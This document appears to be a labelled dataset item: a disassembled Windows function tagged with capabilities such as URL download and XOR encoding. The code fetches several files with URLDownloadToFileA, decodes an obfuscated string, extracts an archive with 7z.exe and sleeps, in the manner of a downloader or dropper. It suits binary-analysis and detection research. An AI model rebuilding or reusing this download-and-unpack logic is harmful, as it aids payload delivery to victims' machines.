Function at 0x429bc0
Capabilities:
Download url
Encode data using xor
Receive data
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4322f1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd8
cmp dword [0x4bb990], 0x10
mov edx, 0x4bb97c
push esi
cmovae edx, dword [0x4bb97c]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0x18], 0
push edi
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429c10
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00430020
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0x4b748c
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
test eax, eax
je 0x429c53
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x429c57
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x429c8d
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429c83
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x429c83
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x429cc7
cmp dword [0x4bb990], 0x10
mov ecx, 0x4bb97c
push 0
cmovae ecx, dword [0x4bb97c]
mov eax, 0x4bb8bc
cmp dword [0x4bb8d0], 0x10
push 0
cmovae eax, dword [0x4bb8bc]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
cmp dword [0x4bb948], 0x10
mov edx, 0x4bb934
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovae edx, dword [0x4bb934]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429cf4
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00430020
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0x4b748c
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x429d31
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x429d35
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x429d6b
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429d61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x429d61
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x429da5
cmp dword [0x4bb948], 0x10
mov ecx, 0x4bb934
push 0
cmovae ecx, dword [0x4bb934]
mov eax, 0x4bb9c4
cmp dword [0x4bb9d8], 0x10
push 0
cmovae eax, dword [0x4bb9c4]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
sub esp, 0x18
mov dword [ebp - 0x37], 0x4802511d
mov edx, esp
mov dword [ebp - 0x33], 0x1e104a56
mov word [ebp - 0x2f], 0x61
xor ecx, ecx
mov byte [ebp - 0x2d], 1
mov dword [ebp - 0x2c], edx
lea eax, [ecx + 0x2a]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 9
jb 0x429dc7
push ecx
lea eax, [ebp - 0x2e]
mov byte [ebp - 0x2d], 0
push eax
lea eax, [ebp - 0x37]
mov ecx, edx
push eax
call fcn.0042fa90
call fcn.00429120
add esp, 0x18
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x4bb990], 0x10
mov ecx, 0x4bb97c
mov eax, dword [0x4bb98c]
xorps xmm0, xmm0
cmovae ecx, dword [0x4bb97c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x3c], eax
movups xmmword [ebp - 0x54], xmm0
cmp eax, 0x7fffffff
ja 0x42a57e
cmp eax, 0x10
jae 0x429e55
movups xmm0, xmmword [ecx]
mov esi, 0xf
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], esi
movups xmmword [ebp - 0x54], xmm0
mov edi, dword [ebp - 0x54]
jmp 0x429ee4
mov esi, eax
mov dword [ebp - 0x40], 0xf
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x429e95
mov eax, Ordinal_2
mov esi, Ordinal_2
add eax, 0x23
push eax
call fcn.00431157
add esp, 4
test eax, eax
je 0x42a55c
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
mov eax, dword [ebp - 0x3c]
jmp 0x429ecd
mov ecx, 0x16
cmp esi, ecx
cmovb esi, ecx
lea ecx, [esi + 1]
cmp ecx, 0x1000
jb 0x429eb7
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x42a583
jmp 0x429e76
test ecx, ecx
je 0x429ecb
push ecx
call fcn.00431157
mov edi, eax
add esp, 4
mov eax, dword [ebp - 0x3c]
jmp 0x429ecd
xor edi, edi
mov dword [ebp - 0x44], eax
inc eax
push eax
push dword [ebp - 0x2c]
mov dword [ebp - 0x54], edi
push edi
mov dword [ebp - 0x40], esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x4b7490
lea ecx, [ebp - 0xe4]
mov dword [ebp - 4], 0
call fcn.0042ef70
push str.Path
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 1
call fcn.0042ef70
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x6c]
call fcn.004298d0
add esp, 8
mov byte [ebp - 4], 3
cmp dword [ebp - 0x5c], 0
jne 0x429f3e
push 0x2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [ebp - 0x3c]
mov eax, Ordinal_2
sub eax, ecx
cmp eax, 0xa
jb 0x42a588
push ecx
cmp esi, 0x10
lea eax, [ebp - 0x54]
cmovae eax, edi
push eax
push 0xa
push str.7z.exe_x__
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x9c]
call fcn.00430a40
push ecx
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 4
call fcn.0042f1b0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x429ffc
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429ff2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x429ff2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
cmp dword [ebp - 0xa0], 0x10
lea edx, [ebp - 0xb4]
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
cmovae edx, dword [ebp - 0xb4]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x88], 0xf
mov ecx, edx
mov byte [ebp - 0x9c], 0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a050
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00430020
call fcn.00429120
add esp, 0x18
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x4bb960], 0x10
mov edx, 0x4bb94c
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovae edx, dword [0x4bb94c]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a0a0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00430020
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0x4b748c
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
test eax, eax
je 0x42a0e3
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a0e7
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x42a11d
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a113
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a113
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a157
cmp dword [0x4bb9c0], 0x10
mov ecx, 0x4bb9ac
push 0
cmovae ecx, dword [0x4bb9ac]
mov eax, 0x4bb94c
cmp dword [0x4bb960], 0x10
push 0
cmovae eax, dword [0x4bb94c]
push eax
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
cmp dword [0x4bb900], 0x10
mov edx, 0x4bb8ec
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovae edx, dword [0x4bb8ec]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a184
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00430020
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0x4b748c
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x42a1c1
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a1c5
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x42a1fb
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a1f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a1f1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a235
cmp dword [0x4bb930], 0x10
mov ecx, 0x4bb91c
push 0
cmovae ecx, dword [0x4bb91c]
mov eax, 0x4bb8ec
cmp dword [0x4bb900], 0x10
push 0
cmovae eax, dword [0x4bb8ec]
push eax
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
cmp dword [0x4bb9a8], 0x10
mov edx, 0x4bb994
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovae edx, dword [0x4bb994]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a262
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00430020
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0x4b748c
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x42a29f
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a2a3
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x42a2d9
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a2cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a2cf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a313
cmp dword [0x4bb9a8], 0x10
mov ecx, 0x4bb994
push 0
cmovae ecx, dword [0x4bb994]
mov eax, 0x4bb904
cmp dword [0x4bb918], 0x10
push 0
cmovae eax, dword [0x4bb904]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
cmp dword [0x4bb978], 0x10
mov edx, 0x4bb964
xorps xmm0, xmm0
mov dword [ebp - 0x74], 0
cmovae edx, dword [0x4bb964]
mov ecx, edx
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x84], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a343
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x84]
call fcn.00430020
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
push 0x4b748c
cmovae eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x42a389
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a38d
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x42a3c6
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a3bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a3bc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a400
cmp dword [0x4bb978], 0x10
mov ecx, 0x4bb964
push 0
cmovae ecx, dword [0x4bb964]
mov eax, 0x4bb8a4
cmp dword [0x4bb8b8], 0x10
push 0
cmovae eax, dword [0x4bb8a4]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x42a43a
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a430
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42a55c
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x42a46e
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a464
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42a55c
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 8
jb 0x42a4c0
mov edx, dword [ebp - 0xcc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42a4b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42a55c
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0xd0]
xor eax, eax
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 7
mov word [ebp - 0xcc], ax
cmp ecx, 8
jb 0x42a519
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42a50f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42a55c
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0x40]
xor eax, eax
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 7
mov word [ebp - 0xe4], ax
cmp ecx, 0x10
jb 0x42a56c
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a562
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a562
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00428710
call fcn.004284a0
call fcn.00428710
int3